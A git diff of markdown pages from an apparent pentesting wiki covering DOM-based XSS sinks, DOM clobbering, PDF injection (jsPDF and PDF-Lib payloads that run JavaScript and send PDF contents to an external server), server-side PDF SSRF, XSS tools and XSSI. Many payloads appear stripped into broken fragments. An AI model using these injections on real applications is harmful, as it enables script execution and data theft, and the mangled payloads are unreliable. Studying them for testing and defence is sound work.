manipulation**](dom-xss.md#document-domain-manipulation)\*\*\*\* | `document.implementation.createHTMLDocument()` | `document.cookie` | -| `RegExp()` | `document.domain` | `history.pushState()` | \*\*\*\*[**WebSocket-URL poisoning**](dom-xss.md#websocket-url-poisoning)\*\*\*\* | -| \*\*\*\*[**Client-Side SQl injection**](dom-xss.md#client-side-sql-injection)\*\*\*\* | \*\*\*\*[**Web-message manipulation**](dom-xss.md#web-message-manipulation)\*\*\*\* | `history.replaceState()` | `WebSocket` | -| `executeSql()` | `postMessage()` | \`\` | \`\` | +| ****[**Open Redirect**](dom-xss.md#open-redirect)**** | [**Javascript Injection**](dom-xss.md#javascript-injection)**** | [**DOM-data manipulation**](dom-xss.md#dom-data-manipulation)**** | **jQuery** | +| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | ----------------------------------------------------------------- | ------------------------------------------------------------------------------ | +| `location` | `eval()` | `scriptElement.src` | `add()` | +| `location.host` | `Function() constructor` | `scriptElement.text` | `after()` | +| `location.hostname` | `setTimeout()` | `scriptElement.textContent` | `append()` | +| `location.href` | `setInterval()` | `scriptElement.innerText` | `animate()` | +| `location.pathname` | `setImmediate()` | `someDOMElement.setAttribute()` | `insertAfter()` | +| `location.search` | `execCommand()` | `someDOMElement.search` | `insertBefore()` | +| `location.protocol` | `execScript()` | `someDOMElement.text` | `before()` | +| `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` | +| `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` | +| `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` | +| `domElem.srcdoc` | **``**[**Local file-path manipulation**](dom-xss.md#local-file-path-manipulation)**** | `someDOMElement.value` | `replaceWith()` | +| `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` | +| `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` | +| `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` | +| `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` | +| **``**[**Ajax request manipulation**](dom-xss.md#ajax-request-manipulation)**** | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` | +| `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` | +| `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` | +| `XMLHttpRequest.send()` | ****[**Link manipulation**](dom-xss.md#link-manipulation)**** | `someDOMElement.innerHTML` | `jQuery.parseHTML()` | +| `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` | +| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | ****[**Client-side JSON injection**](dom-xss.md#client-side-sql-injection)**** | +| **``**[**HTML5-storage manipulation**](dom-xss.md#html-5-storage-manipulation)**** | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` | +| `sessionStorage.setItem()` | [**XPath injection**](dom-xss.md#xpath-injection)**** | `document.write()` | `jQuery.parseJSON()` | +| `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` | +| **``**[**`Denial of Service`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **``**[**Cookie manipulation**](dom-xss.md#cookie-manipulation)**** | +| `requestFileSystem()` | **``**[**Document-domain manipulation**](dom-xss.md#document-domain-manipulation)**** | `document.implementation.createHTMLDocument()` | `document.cookie` | +| `RegExp()` | `document.domain` | `history.pushState()` | ****[**WebSocket-URL poisoning**](dom-xss.md#websocket-url-poisoning)**** | +| ****[**Client-Side SQl injection**](dom-xss.md#client-side-sql-injection)**** | ****[**Web-message manipulation**](dom-xss.md#web-message-manipulation)**** | `history.replaceState()` | `WebSocket` | +| `executeSql()` | `postMessage()` | `` | `` | The **`innerHTML`** sink doesn't accept `script` elements on any modern browser, nor will `svg onload` events fire. This means you will need to use alternative elements like `img` or `iframe`. -This kind of XSS is probably the **hardest to find**, as you need to look inside the JS code, see if it's **using** any object whose **value you control**, and in that case, see if there is **any way to abuse** it to execute arbitrary JS. +This kind of XSS is probably the **hardest to find**, as you need to look inside the JS code, see if it's **using **any object whose **value you control**, and in that case, see if there is **any way to abuse** it to execute arbitrary JS. ## Examples @@ -81,13 +81,13 @@ From: [https://portswigger.net/web-security/dom-based/open-redirection](https:// #### How -DOM-based open-redirection vulnerabilities arise when a script writes **attacker-controllable data** into a **sink** that can trigger **cross-domain navigation**. +DOM-based open-redirection vulnerabilities arise when a script writes **attacker-controllable data** into a **sink **that can trigger **cross-domain navigation**. Remember that **if you can start the URL** were the victim is going to be **redirected**, you could execute **arbitrary code** like: **`javascript:alert(1)`** #### Sinks -```text +``` location location.host location.hostname @@ -111,12 +111,12 @@ From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https #### How -DOM-based cookie-manipulation vulnerabilities arise when a script writes **attacker-controllable data into the value of a cookie**. -This could be abuse to make the page behaves on unexpected manner \(if the cookie is used in the web\) or to perform a [session fixation](../hacking-with-cookies.md#session-fixation) attack \(if the cookie is used to track the user's session\). +DOM-based cookie-manipulation vulnerabilities arise when a script writes **attacker-controllable data into the value of a cookie**.\ +This could be abuse to make the page behaves on unexpected manner (if the cookie is used in the web) or to perform a [session fixation](../hacking-with-cookies.md#session-fixation) attack (if the cookie is used to track the user's session). #### Sinks -```text +``` document.cookie ``` @@ -130,7 +130,7 @@ DOM-based JavaScript-injection vulnerabilities arise when a script executes **at #### Sinks -```text +``` eval() Function() constructor setTimeout() @@ -149,14 +149,14 @@ From: [https://portswigger.net/web-security/dom-based/document-domain-manipulati #### How -Document-domain manipulation vulnerabilities arise when a script uses **attacker-controllable data to set** the **`document.domain`** property. +Document-domain manipulation vulnerabilities arise when a script uses **attacker-controllable data to set **the **`document.domain`** property. - The `document.domain` property is used by browsers in their **enforcement** of the **same origin policy**. If **two pages** from **different** origins explicitly set the **same `document.domain`** value, then those two pages can **interact in unrestricted ways**. -Browsers **generally enforce some restrictions** on the values that can be assigned to `document.domain`, and may prevent the use of completely different values than the actual origin of the page. **But this doesn't occur always** and they usually **allow to use child** or **parent** domains. + The `document.domain` property is used by browsers in their **enforcement **of the **same origin policy**. If **two pages** from **different **origins explicitly set the **same `document.domain`** value, then those two pages can **interact in unrestricted ways**.\ +Browsers **generally enforce some restrictions** on the values that can be assigned to `document.domain`, and may prevent the use of completely different values than the actual origin of the page.** But this doesn't occur always **and they usually** allow to use child **or **parent** domains. #### Sinks -```text +``` document.domain ``` @@ -182,7 +182,7 @@ DOM-based link-manipulation vulnerabilities arise when a script writes **attacke #### Sinks -```text +``` someDOMElement.href someDOMElement.src someDOMElement.action @@ -194,11 +194,11 @@ From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipu #### How -Ajax request manipulation vulnerabilities arise when a script writes **attacker-controllable data into the an Ajax request** that is issued using an `XmlHttpRequest` object. +Ajax request manipulation vulnerabilities arise when a script writes **attacker-controllable data into the an Ajax request **that is issued using an `XmlHttpRequest` object. #### Sinks -```text +``` XMLHttpRequest.setRequestHeader() XMLHttpRequest.open() XMLHttpRequest.send() @@ -216,7 +216,7 @@ Local file-path manipulation vulnerabilities arise when a script passes **attack #### Sinks -```text +``` FileReader.readAsArrayBuffer() FileReader.readAsBinaryString() FileReader.readAsDataURL() @@ -236,7 +236,7 @@ Client-side SQL-injection vulnerabilities arise when a script incorporates **att #### Sinks -```text +``` executeSql() ``` @@ -246,12 +246,12 @@ From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation #### How -HTML5-storage manipulation vulnerabilities arise when a script **stores attacker-controllable data in the HTML5 storage** of the web browser \(either `localStorage` or `sessionStorage`\). +HTML5-storage manipulation vulnerabilities arise when a script **stores attacker-controllable data in the HTML5 storage** of the web browser (either `localStorage` or `sessionStorage`).\ This **behavior does not in itself constitute a security vulnerability**. However, if the application later **reads data back from storage and processes it in an unsafe way**, an attacker may be able to leverage the storage mechanism to deliver other DOM-based attacks, such as cross-site scripting and JavaScript injection. #### Sinks -```text +``` sessionStorage.setItem() localStorage.setItem() ``` @@ -262,11 +262,11 @@ From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injectio #### How -DOM-based XPath-injection vulnerabilities arise when a script incorporates **attacker-controllable data into an XPath query**. +DOM-based XPath-injection vulnerabilities arise when a script incorporates** attacker-controllable data into an XPath query**. #### Sinks -```text +``` document.evaluate() someDOMElement.evaluate() ``` @@ -277,11 +277,11 @@ From: [https://portswigger.net/web-security/dom-based/client-side-json-injection #### How -DOM-based JSON-injection vulnerabilities arise when a script incorporates **attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application**. +DOM-based JSON-injection vulnerabilities arise when a script incorporates** attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application**. #### Sinks -```text +``` JSON.parse() jQuery.parseJSON() $.parseJSON() @@ -293,8 +293,8 @@ From: [https://portswigger.net/web-security/dom-based/web-message-manipulation]( #### How -Web-message vulnerabilities arise when a script sends **attacker-controllable data as a web message to another document** within the browser. -**Example** of vulnerable Web-message manipulation in [https://portswigger.net/web-security/dom-based/controlling-the-web-message-source](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source) +Web-message vulnerabilities arise when a script sends **attacker-controllable data as a web message to another document **within the browser.\ +**Example **of vulnerable Web-message manipulation in [https://portswigger.net/web-security/dom-based/controlling-the-web-message-source](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source) #### Sinks @@ -310,7 +310,7 @@ DOM-data manipulation vulnerabilities arise when a script writes **attacker-cont #### Sinks -```text +``` scriptElement.src scriptElement.text scriptElement.textContent @@ -341,11 +341,11 @@ From: [https://portswigger.net/web-security/dom-based/denial-of-service](https:/ #### How -DOM-based denial-of-service vulnerabilities arise when a script passes **attacker-controllable data in an unsafe way to a problematic platform API**, such as an API whose invocation can cause the user's computer to consume **excessive amounts of CPU or disk space**. This may result in side effects if the browser restricts the functionality of the website, for example, by rejecting attempts to store data in `localStorage` or killing busy scripts. +DOM-based denial-of-service vulnerabilities arise when a script passes** attacker-controllable data in an unsafe way to a problematic platform API**, such as an API whose invocation can cause the user's computer to consume **excessive amounts of CPU or disk space**. This may result in side effects if the browser restricts the functionality of the website, for example, by rejecting attempts to store data in `localStorage` or killing busy scripts. #### Sinks -```text +``` requestFileSystem() RegExp() ``` @@ -373,9 +373,8 @@ To exploit this vulnerable code, you could inject the following HTML to clobber `` -Injecting that data `window.someObject.url` is going to be `href=//malicious-website.com/malicious.js` +Injecting that data `window.someObject.url `is going to be `href=//malicious-website.com/malicious.js` -**Trick**: `DOMPurify` allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like `` will make the HTML encoded `"` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event. - -Another common technique consists on using **`form`** element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you **create an `input`**inside the form with `id=attributes` , you will **clobber the attributes property** and the sanitizer **won't** be able to go through the **real attributes**. +**Trick**: `DOMPurify` allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like `` will make the HTML encoded `"` to be** decoded on runtime** and **escape **from the attribute value to **create **the **`onerror`** event. +Another common technique consists on using **`form`** element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you **create an `input`**inside the form with` id=attributes` , you will **clobber the attributes property** and the sanitizer **won't **be able to go through the **real attributes**. diff --git a/pentesting-web/xss-cross-site-scripting/pdf-injection.md b/pentesting-web/xss-cross-site-scripting/pdf-injection.md index b211c9e1..0107c4eb 100644 --- a/pentesting-web/xss-cross-site-scripting/pdf-injection.md +++ b/pentesting-web/xss-cross-site-scripting/pdf-injection.md @@ -2,83 +2,83 @@ **If your input is being reflected inside a PDF file, you can try to inject PDF data to execute JavaScript or steal the PDF content.** -The following information was taken from ****[**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)\*\*\*\* +The following information was taken from** **[**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)**** ### PDF-Lib -This time, I was using [PDFLib](https://pdf-lib.js.org/). I took some time to use the library to create an annotation and see if I could inject a closing parenthesis into the annotation URI - and it worked! The sample vulnerable code I used to generate the annotation code was: +This time, I was using [PDFLib](https://pdf-lib.js.org). I took some time to use the library to create an annotation and see if I could inject a closing parenthesis into the annotation URI - and it worked! The sample vulnerable code I used to generate the annotation code was: -``... - A: { - Type: 'Action', - S: 'URI', - URI: PDFString.of(`injection)`), - } - }) - ...`` +`... `\ +` A: {`\ +` Type: 'Action',`\ +` S: 'URI',`\ +`` URI: PDFString.of(`injection)`),``\ +` }`\ +` })`\ +` ...` [Full code:](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js) -How did I know the injection was successful? The PDF would render correctly unless I injected a closing parenthesis. This proved that the closing parenthesis was breaking out of the string and causing invalid PDF code. Breaking the PDF was nice, but I needed to ensure I could execute JavaScript of course. I looked at the rendered PDF code and noticed the output was being encoded using the FlateDecode filter. I wrote a little script to deflate the block and the output of the annotation section looked like this:`<< - /Type /Annot - /Subtype /Link - /Rect [ 50 746.89 320 711.89 ] - /Border [ 0 0 2 ] - /C [ 0 0 1 ] - /A << - /Type /Action - /S /URI - /URI (injection)) - >> - >>` +How did I know the injection was successful? The PDF would render correctly unless I injected a closing parenthesis. This proved that the closing parenthesis was breaking out of the string and causing invalid PDF code. Breaking the PDF was nice, but I needed to ensure I could execute JavaScript of course. I looked at the rendered PDF code and noticed the output was being encoded using the FlateDecode filter. I wrote a little script to deflate the block and the output of the annotation section looked like this:`<<`\ +` /Type /Annot`\ +` /Subtype /Link`\ +` /Rect [ 50 746.89 320 711.89 ]`\ +` /Border [ 0 0 2 ]`\ +` /C [ 0 0 1 ]`\ +` /A <<`\ +` /Type /Action`\ +` /S /URI`\ +` /URI (injection))`\ +` >>`\ +` >>` As you can clearly see, the injection string is closing the text boundary with a closing parenthesis, which leaves an existing closing parenthesis that causes the PDF to be rendered incorrectly: ![Screenshot showing an error dialog when loading the PDF](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png) -Great, so I could break the rendering of the PDF, now what? I needed to come up with an injection that called some JavaScript - the alert\(1\) of PDF injection. +Great, so I could break the rendering of the PDF, now what? I needed to come up with an injection that called some JavaScript - the alert(1) of PDF injection. -Just like how XSS vectors depend on the browser's parsing, PDF injection exploitability can depend on the PDF renderer. I decided to start by targeting Acrobat because I thought the vectors were less likely to work in Chrome. Two things I noticed: 1\) You could inject additional annotation actions and 2\) if you repair the existing closing parenthesis then the PDF would render. After some experimentation, I came up with a nice payload that injected an additional annotation action, executed JavaScript, and repaired the closing parenthesis:`/blah)>>/A<>/>>(` +Just like how XSS vectors depend on the browser's parsing, PDF injection exploitability can depend on the PDF renderer. I decided to start by targeting Acrobat because I thought the vectors were less likely to work in Chrome. Two things I noticed: 1) You could inject additional annotation actions and 2) if you repair the existing closing parenthesis then the PDF would render. After some experimentation, I came up with a nice payload that injected an additional annotation action, executed JavaScript, and repaired the closing parenthesis:`/blah)>>/A<>/>>(` -First I break out of the parenthesis, then break out of the dictionary using >> before starting a new annotation dictionary. The /S/JavaScript makes the annotation JavaScript-based and the /JS is where the JavaScript is stored. Inside the parentheses is our actual JavaScript. Note that you don't have to escape the parentheses if they're balanced. Finally, I add the type of annotation, finish the dictionary, and repair the closing parenthesis. This was so cool; I could craft an injection that executed JavaScript but so what, right? You can execute JavaScript but you don't have access to the DOM, so you can't read cookies. Then James popped up and suggested stealing the contents of the PDF from the injection. I started looking at ways to get the contents of a PDF. In Acrobat, I discovered that you can use JavaScript to submit forms without any user interaction! Looking at the spec for the JavaScript API, it was pretty straightforward to modify the base injection and add some JavaScript that would send the entire contents of the PDF code to an external server in a POST request:`/blah)>>/A<>/>>(` +First I break out of the parenthesis, then break out of the dictionary using >> before starting a new annotation dictionary. The /S/JavaScript makes the annotation JavaScript-based and the /JS is where the JavaScript is stored. Inside the parentheses is our actual JavaScript. Note that you don't have to escape the parentheses if they're balanced. Finally, I add the type of annotation, finish the dictionary, and repair the closing parenthesis. This was so cool; I could craft an injection that executed JavaScript but so what, right? You can execute JavaScript but you don't have access to the DOM, so you can't read cookies. Then James popped up and suggested stealing the contents of the PDF from the injection. I started looking at ways to get the contents of a PDF. In Acrobat, I discovered that you can use JavaScript to submit forms without any user interaction! Looking at the spec for the JavaScript API, it was pretty straightforward to modify the base injection and add some JavaScript that would send the entire contents of the PDF code to an external server in a POST request:`/blah)>>/A<>/>>(` The alert is not needed; I just added it to prove the injection was executing JavaScript. Next, just for fun, I looked at stealing the contents of the PDF without using JavaScript. From the PDF specification, I found out that you can use an action called SubmitForm. I used this in the past when I constructed a PDF for a scan check in Burp Suite. It does exactly what the name implies. It also has a Flags entry in the dictionary to control what is submitted. The Flags dictionary key accepts a single integer value, but each individual setting is controlled by a binary bit. A good way to work with these settings is using the new binary literals in ES6. The binary literal should be 14 bits long because there are 14 flags in total. In the following example, all of the settings are disabled:`0b00000000000000` -To set a flag, you first need to look up its bit position \(table 237 of the [PDF specification](https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000_2008.pdf)\). In this case, we want to set the SubmitPDF flag. As this is controlled by the 9th bit, you just need to count 9 bits from the right:`0b00000100000000` +To set a flag, you first need to look up its bit position (table 237 of the [PDF specification](https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000\_2008.pdf)). In this case, we want to set the SubmitPDF flag. As this is controlled by the 9th bit, you just need to count 9 bits from the right:`0b00000100000000` -If you evaluate this with JavaScript, this results in the decimal value 256. In other words, setting the Flags entry to 256 will enable the SubmitPDF flag, which causes the contents of the PDF to be sent when submitting the form. All we need to do is use the base injection we created earlier and modify it to call the SubmitForm action instead of JavaScript:`/blah)>>/A<>/>>(` +If you evaluate this with JavaScript, this results in the decimal value 256. In other words, setting the Flags entry to 256 will enable the SubmitPDF flag, which causes the contents of the PDF to be sent when submitting the form. All we need to do is use the base injection we created earlier and modify it to call the SubmitForm action instead of JavaScript:`/blah)>>/A<>/>>(` ### sPDF -Next I applied my methodology to another PDF library - [jsPDF](https://parall.ax/products/jspdf) - and found it was vulnerable too. Exploiting this library was quite fun because they have an API that can execute in the browser and will allow you to generate the PDF in real time as you type. I noticed that, like the PDP-Lib library, they forgot to escape parentheses inside annotation URLs. Here the url property was vulnerable:``doc.createAnnotation({bounds: - {x:0,y:10,w:200,h:200}, - type:'link',url:`/input`}); - //vulnerable`` +Next I applied my methodology to another PDF library - [jsPDF](https://parall.ax/products/jspdf) - and found it was vulnerable too. Exploiting this library was quite fun because they have an API that can execute in the browser and will allow you to generate the PDF in real time as you type. I noticed that, like the PDP-Lib library, they forgot to escape parentheses inside annotation URLs. Here the url property was vulnerable:`doc.createAnnotation({bounds:`\ +` {x:0,y:10,w:200,h:200},`\ +`` type:'link',url:`/input`});``\ +` //vulnerable` So I generated a PDF using their API and injected PDF code into the url property: -``var doc = new jsPDF(); - doc.text(20, 20, 'Hello world!'); - doc.addPage('a6','l'); - doc.createAnnotation({bounds: - {x:0,y:10,w:200,h:200},type:'link',url:` - /blah)>>/A<>/A<>/A<> >> - <> >>`\ +` <> >> - <>/(`}); - doc.text(20, 20, 'Auto execute');`` +Here's how to execute automatically from an annotation:`var doc = new jsPDF();`\ +`` doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)``\ +` >> >>`\ +`` <>/(`});``\ +` doc.text(20, 20, 'Auto execute');` -When you close the PDF, this annotation will fire:``var doc = new jsPDF(); - doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> - <>/(`}); - doc.text(20, 20, 'Close me');`` +When you close the PDF, this annotation will fire:`var doc = new jsPDF();`\ +`` doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>``\ +`` <>/(`});``\ +` doc.text(20, 20, 'Close me');` ### Chrome -I've talked a lot about Acrobat but what about PDFium \(Chrome's PDF reader\)? Chrome is tricky; the attack surface is much smaller as its JavaScript support is more limited than Acrobat's. The first thing I noticed was that JavaScript wasn't being executed in annotations at all, so my proof of concepts weren't working. In order to get the vectors working in Chrome, I needed to at least execute JavaScript inside annotations. First though, I decided to try and overwrite a URL in an annotation. This was pretty easy. I could use the base injection I came up with before and simply inject another action with a URI entry that would overwrite the existing URL:``var doc = new jsPDF(); - doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<>/F 0>>(`}); - doc.text(20, 20, 'Test text');`` +I've talked a lot about Acrobat but what about PDFium (Chrome's PDF reader)? Chrome is tricky; the attack surface is much smaller as its JavaScript support is more limited than Acrobat's. The first thing I noticed was that JavaScript wasn't being executed in annotations at all, so my proof of concepts weren't working. In order to get the vectors working in Chrome, I needed to at least execute JavaScript inside annotations. First though, I decided to try and overwrite a URL in an annotation. This was pretty easy. I could use the base injection I came up with before and simply inject another action with a URI entry that would overwrite the existing URL:`var doc = new jsPDF();`\ +`` doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<>/F 0>>(`});``\ +` doc.text(20, 20, 'Test text');` -This would navigate to portswigger.net when clicked. Then I moved on and tried different injections to call JavaScript, but this would fail every time. I thought it was impossible to do. I took a step back and tried to manually construct an entire PDF that would call JavaScript from a click in Chrome without an injection. When using an AcroForm button, Chrome would allow JavaScript execution, but the problem was it required references to parts of the PDF. I managed to craft an injection that would execute JavaScript from a click on JSPDF:``var doc = new jsPDF(); - doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <>/Type/Annot/MK<>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<
>>>/Parent <>/H/P/A<> >> <>/Type/Annot/MK<>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<> >> <>/Type/Annot/MK<>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<> >> <>/Type/Annot/MK<>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<> >> <>/Type/Annot/MK<>/Rect [ 0 0 889 792]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<>>><>/A<> >> <>/Type/Annot/MK<>/Rect [ 0 0 889 792]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<>>><>/A<> <>/A<> <>/A<> <>/A<> >> - <> /Rect [0 0 900 900] /AA <>/(`}); - doc.text(20, 20, 'Test');`` +Inspecting the output of the enumerator, I tried calling various functions in the hope of making external requests or gathering information from the PDF. Eventually, I found a very interesting function called getPageNthWord, which could extract words from the PDF document, thereby allowing me to steal the contents. The function has a subtle bug where the first word sometimes will not be extracted. But for the most part, it will extract the majority of words:`var doc = new jsPDF();`\ +`` doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`#)>> <>/A<> >>``\ +`` <> /Rect [0 0 900 900] /AA <>/(`});``\ +` doc.text(20, 20, 'Test');`\ +`` ### SSRF in PDFium/Acrobat -It's possible to send a POST request with PDFium/Acrobat to perform a SSRF attack. This would be a [blind SSRF](https://portswigger.net/web-security/ssrf/blind) since you can make a POST request but can't read the response. To construct a POST request, you can use the /parent dictionary key as demonstrated earlier to assign a form element to the annotation, enabling JavaScript execution. But instead of using a button like we did before, you can assign a text field \(/Tx\) with the parameter name \(/T\) and parameter value \(/V\) dictionary keys. Notice how you have to pass the parameter names you want to use to the submitForm function as an array:`#)>>>><>/A<>>><>/A<> >> <>/A<> >> <>/A<<\script>` tags don't work always, so you will need a different method to execute JS \(for example, abusing `<\script>` tags don't work always, so you will need a different method to execute JS (for example, abusing ` ``` -### Get external web page response as attachment \(metadata endpoints\) +### Get external web page response as attachment (metadata endpoints) ```markup @@ -130,7 +130,7 @@ for(let i=0; i<1000; i++) { ### [SSRF](../ssrf-server-side-request-forgery.md) -This vulnerability can be transformed very easily in a SSRF \(as you can make the script load external resources\). So just try to exploit it \(read some metadata?\). +This vulnerability can be transformed very easily in a SSRF (as you can make the script load external resources). So just try to exploit it (read some metadata?). ## References @@ -140,5 +140,3 @@ This vulnerability can be transformed very easily in a SSRF \(as you can make th {% embed url="https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html" %} - - diff --git a/pentesting-web/xss-cross-site-scripting/xss-tools.md b/pentesting-web/xss-cross-site-scripting/xss-tools.md index 462e8b36..8aa07164 100644 --- a/pentesting-web/xss-cross-site-scripting/xss-tools.md +++ b/pentesting-web/xss-cross-site-scripting/xss-tools.md @@ -2,46 +2,46 @@ ## XSStrike -```text +``` git clone https://github.com/s0md3v/XSStrike.git pip3 install -r XSStrike/requirements.txt ``` -**Basic Usage\(Get\):** -python3 xsstrike.py --headers -u "http://localhost/vulnerabilities/xss\_r/?name=asd" -**Basic Usage\(Post\):** -python xsstrike.py -u "http://example.com/search.php" --data "q=query" -**Crawling\(depth=2 default\):** -python xsstrike.py -u "http://example.com/page.php" --crawl -l 3 -**Find hidden parameters:** -python xsstrike.py -u "http://example.com/page.php" --params -**Extra:** ---headers \#Set custom headers \(like cookies\). It is necessary to set every time ---skip-poc ---skip-dom \#Skip DOM XSS scanning +**Basic Usage(Get):**\ +python3 xsstrike.py --headers -u "http://localhost/vulnerabilities/xss_r/?name=asd"\ +**Basic Usage(Post):**\ +python xsstrike.py -u "http://example.com/search.php" --data "q=query"\ +**Crawling(depth=2 default):**\ +python xsstrike.py -u "http://example.com/page.php" --crawl -l 3\ +**Find hidden parameters:**\ +python xsstrike.py -u "http://example.com/page.php" --params\ +**Extra:**\ +\--headers #Set custom headers (like cookies). It is necessary to set every time\ +\--skip-poc\ +\--skip-dom #Skip DOM XSS scanning ## BruteXSS -```text +``` git clone https://github.com/rajeshmajumdar/BruteXSS ``` -Tool to find vulnerable \(GET or POST\) parameter to XSS using a list of payloads with a GUI. -Custom headers \(like cookies\) can not be configured. +Tool to find vulnerable (GET or POST) parameter to XSS using a list of payloads with a GUI.\ +Custom headers (like cookies) can not be configured. ## XSSer -[https://github.com/epsylon/xsser](https://github.com/epsylon/xsser) -Already installed in Kali. +[https://github.com/epsylon/xsser](https://github.com/epsylon/xsser)\ +Already installed in Kali.\ Complete tool to find XSS. -**Basic Usage\(Get\):** - -The tool doesnt send the payload:\( +**Basic Usage(Get):**\ +\ +The tool doesnt send the payload:( ## XSSCrapy -```text +``` git clone https://github.com/DanMcInerney/xsscrapy ``` @@ -50,4 +50,3 @@ Not recommended. A lot of unnecessary output, and it doesn\`t work properly. ## DalFOx [https://github.com/hahwul/dalfox](https://github.com/hahwul/dalfox) - diff --git a/pentesting-web/xssi-cross-site-script-inclusion.md b/pentesting-web/xssi-cross-site-script-inclusion.md index e1c462b0..0df87793 100644 --- a/pentesting-web/xssi-cross-site-script-inclusion.md +++ b/pentesting-web/xssi-cross-site-script-inclusion.md @@ -1,4 +1,4 @@ -# XSSI \(Cross-Site Script Inclusion\) +# XSSI (Cross-Site Script Inclusion) #### The information was taken from [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414) @@ -10,14 +10,14 @@ XSSI designates a kind of vulnerability which exploits the fact that, when a res ### Types -1. Static JavaScript \(regular XSSI\) +1. Static JavaScript (regular XSSI) 2. Static JavaScript, which is only accessible when authenticated 3. Dynamic JavaScript 4. Non-JavaScript ## Regular XSSI -The private information is located inside a global accessible JS file, you can just detect this by reading files, searching keywords or using regexps. +The private information is located inside a global accessible JS file, you can just detect this by reading files, searching keywords or using regexps.\ To exploit this, just include the script with private information inside the malicious content: ```markup @@ -27,9 +27,9 @@ To exploit this, just include the script with private information inside the mal ## Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI -**Confidential information is added to the script when a user requests it**. This can be easily discovered by sending the request **with and without the cookies**, if **different information** is retrieved, then confidential information could be contained. To do this automatically you can use burp extension: [https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS). +**Confidential information is added to the script when a user requests it**. This can be easily discovered by sending the request **with and without the cookies**, if **different information **is retrieved, then confidential information could be contained. To do this automatically you can use burp extension: [https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS). -If the information resides inside a global variable, you you can exploit it using the same code as for the the previous case. +If the information resides inside a global variable, you you can exploit it using the same code as for the the previous case.\ If the confidential data is sent inside a JSONP response, you can override the executed function to retrieve the information: ```markup @@ -98,4 +98,3 @@ Including the JSON in the attacker’s page ```markup ``` - diff --git a/pentesting-web/xxe-xee-xml-external-entity.md b/pentesting-web/xxe-xee-xml-external-entity.md index 24a450ce..5382eef4 100644 --- a/pentesting-web/xxe-xee-xml-external-entity.md +++ b/pentesting-web/xxe-xee-xml-external-entity.md @@ -6,11 +6,11 @@ An XML External Entity attack is a type of attack against an application that pa **Most of this part was taken from this amazing Portswigger page:** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities) -### What is XML? +### What is XML? -XML stands for "extensible markup language". XML is a language designed for storing and transporting data. Like HTML, XML uses a tree-like structure of tags and data. Unlike HTML, XML does not use predefined tags, and so tags can be given names that describe the data. Earlier in the web's history, XML was in vogue as a data transport format \(the "X" in "AJAX" stands for "XML"\). But its popularity has now declined in favor of the JSON format. +XML stands for "extensible markup language". XML is a language designed for storing and transporting data. Like HTML, XML 